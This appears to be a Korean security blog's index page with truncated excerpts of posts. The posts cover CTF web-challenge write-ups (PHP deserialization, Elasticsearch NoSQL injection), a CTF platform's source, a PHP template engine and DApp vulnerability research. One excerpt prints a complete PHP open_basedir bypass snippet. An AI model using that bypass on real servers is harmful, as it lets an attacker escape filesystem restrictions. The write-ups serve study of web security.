TL;DR 서론이 좀 깁니다. 핵심만 보실 분들은 “Find Vulnerability” 목차부터 읽어주시면 감사하겠습니다. Summary DApp(Decentralized Application)은 분산형 애플리케이션으로, 블록체인 네트워크를 통해 상호작용하고 데이터를 공유할 수 있도록 하는 애플리케이션을 의미합니다. 이더리움 메인넷, 바이낸스 스마트 체인(BSC) 등 메이저한 생태계를 포함해 다양한 네트워크가 존재합니다. 이더리움과 같이 스마트 계약(Smart Contract)을 지원하는 네트워크에 솔리디티, 바이퍼 등의 프로그래밍 언어를 활용해 컨트랙트를 개발하여 […]
tl;dr 1. 재작년 초에 만들어서 얼마 전 Christmas CTF까지 수정해서 잘 사용했던 소스를 공개 2. 소스는 https://github.com/munsiwoo/christmas-ctf-platform 3. 이 글에서는 다이나믹 랭킹 이슈와 플랫폼 개발 방향에 대해 정리 다이나믹 랭킹 이슈 Christmas CTF 운영 당시 스코어보드 페이지에서 이슈가 하나 있었는데 지금은 랭킹을 쿼리 한번으로 가져와 보여주지만 이전 구현 방식은 임시 테이블을 하나 생성하고 PHP로 팀당 […]
2019 사이버작전 경연대회 본선에 나왔던 Hidden Service라는 웹 문제다. PHP 세션 핸들링 과정에서 읽고 쓰는 핸들러가 다를 때 발생하는 Insecure deserialization 취약점을 통해 플래그를 얻는 문제였는데, 아이디어가 재밌어서 글로 남겨본다. 일반부/청소년부 같은 문제로 이름만 다르게 나왔다. (Secret Service, Hidden Service) 1. 소스를 얻어보자 (Source code leaks) 첨부 파일로 준 index.php를 읽다보면 file inclusion 취약점을 발견할 […]
조건문과 반복문, 변수 출력, 변수 전달 등 최소한의 기능만 파싱해서 eval로 넘겨주는 PHP 템플릿 엔진을 만들어보았다. 엄청 단순해서 엔진이라 하기도 뭐하지만.. Smarty나 Twig를 사용하지 않고 직접 만들어서 사용하는 이유는 하나부터 열까지 직접 만들어보는 PHP프레임워크에 적용하기 위해서다. https://github.com/munsiwoo/mun-template Preview <!DOCTYPE html> <html> <head> <title>Mun Template</title> </head> <body> <h1>Mun Template</h1> <p>Mun Template is Simple PHP Template engine.</p> […]
매년 CodeRed에서 선린인터넷고 해킹방어대회를 주관하는데, 작년에 이어 올해도 문제 출제를 맡게 되어서 웹 해킹 문제 3개를 만들었다. 문제 모두 소스코드를 제공해주는 화이트박스 문제였고 난이도는 대체로 쉽게 만들려고 노력했다. jjang9 (PHP) 이 문제는 PHP file system bug와 file inclusion 취약점을 섞어서 낸 문제다. PHP file system bug에 관한 발표 자료는 코드게이트 발표 후기 글에 공유 해놨다. […]
@Blaklis_ 트윗에 open_basedir를 우회하는 새로운 방법이 올라왔다. Here is an awesome PHP open_basedir bypass by @Blaklis_ You are open_basedir’ed to /var/www/html Change into a sub-directory. ini_set(‘open_basedir’, ‘..’) chdir(‘..’);chdir(‘..’);chdir(‘..’);…. ini_set(‘open_basedir’,’/’) open_basedir is now set to /, enjoy Example code <?php ini_set(‘open_basedir’, ‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); ini_set(‘open_basedir’, ‘/’); 원문 : […]
요약 ASIS CTF의 Dead engine이라는 웹 문제다. Elasticsearch를 사용하고 있는 사이트에서 NoSQL Injection을 통해 플래그를 얻는 문제였다. Elasticsearch 환경은 처음이라 열심히 검색하면서 풀었는데 복습 겸 간단히 풀이만 적어본다. 풀이 우선 q, endpoint 이렇게 2개의 입력을 받아서 내부 검색 엔진으로 요청해주는 구조였다. 입력: q=abcd&endpoint=/articles/_search 내부 요청: http://localhost:9300/articles/_search?q=abcd 이렇게 http://localhost:9300{endpoint}?q={q} 각각 입력이 들어간다. endpoint를 조작하면 맘대로 검색 […]